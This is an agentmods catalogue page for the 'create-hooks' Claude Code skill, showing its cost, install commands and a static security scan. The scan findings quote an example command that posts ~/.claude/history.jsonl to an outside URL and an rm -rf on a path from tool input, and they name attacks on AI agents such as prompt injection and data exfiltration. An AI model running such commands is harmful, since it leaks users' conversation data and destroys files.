create-hooks

create-hooks is a skill for Claude Code, Codex from ronnycoding/.claude. It costs 58 tokens per session (5,133 once invoked), scanned C, original, no licence file.

A guide for creating Claude Code hooks, which are automated actions triggered by events in the coding tool. It covers their setup, commands, event handling, and security.

In plain words
What is it for?
Use it when creating or configuring hooks that respond to events and run shell commands or other automated checks.
Why use it?
It helps avoid guesswork when making automated workflows, such as formatting code, protecting files, or recording actions.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/ronnycoding/.claude/create-hooks
Any agent
npx skills add ronnycoding/.claude --skill create-hooks
Clone the repo
git clone --depth 1 https://github.com/ronnycoding/.claude

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for create-hooks

README.md
[![agentmods](https://agentmods.dev/badge/skills/ronnycoding/.claude/create-hooks.svg)](https://agentmods.dev/skills/ronnycoding/.claude/create-hooks)
Your own site
<a href="https://agentmods.dev/skills/ronnycoding/.claude/create-hooks"><img src="https://agentmods.dev/badge/skills/ronnycoding/.claude/create-hooks.svg" alt="Measured on agentmods" height="20"></a>
Per session 58 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,133 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 8 findings. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00058 $0.05133
Opus 5 $0.00029 $0.02567
Sonnet 5 $0.00012 $0.01027
Haiku 4.5 $0.00006 $0.00513

Measured 4d ago against content hash 8e9458ebd540, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

create-hooks scanned grade C with 8 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Tells the agent to send conversation or user data outmediumPrompt injection

An instruction to transmit the conversation, context or user files to an external endpoint is data exfiltration written as prose.

# DON'T: Send data to external services without encryption

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

6. **Restrict permissions** on hook scripts (chmod 700)

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reads agent configuration directorieslowAgent snooping

.claude/, .codex/, .gemini/ hold keys, settings and other credentials a mod has no legitimate need for.

curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Unrestricted tool accesslowExcessive agency

A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.

- Execute arbitrary commands

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Recursive force deletemediumDestructive command

rm -rf with a variable or a broad path is one typo away from removing the wrong tree.

rm -rf "$(jq -r '.tool_input.file_path')"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)"

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

subprocess.run(['black', str(file_path)], stderr=subprocess.DEVNULL)
skills/create-hooks/SKILL.md · 821 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 821 lines · 58 tokens per session scan C 8e9458ebd540

Subscribe to this mod's changes

create-hooks is a skill published in the GitHub repository ronnycoding/.claude (20 stars, last pushed 2mo ago), with no licence file. It adds 58 tokens to every session and 5,133 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 8 findings (tells the agent to send conversation or user data out, sends data to an external url, asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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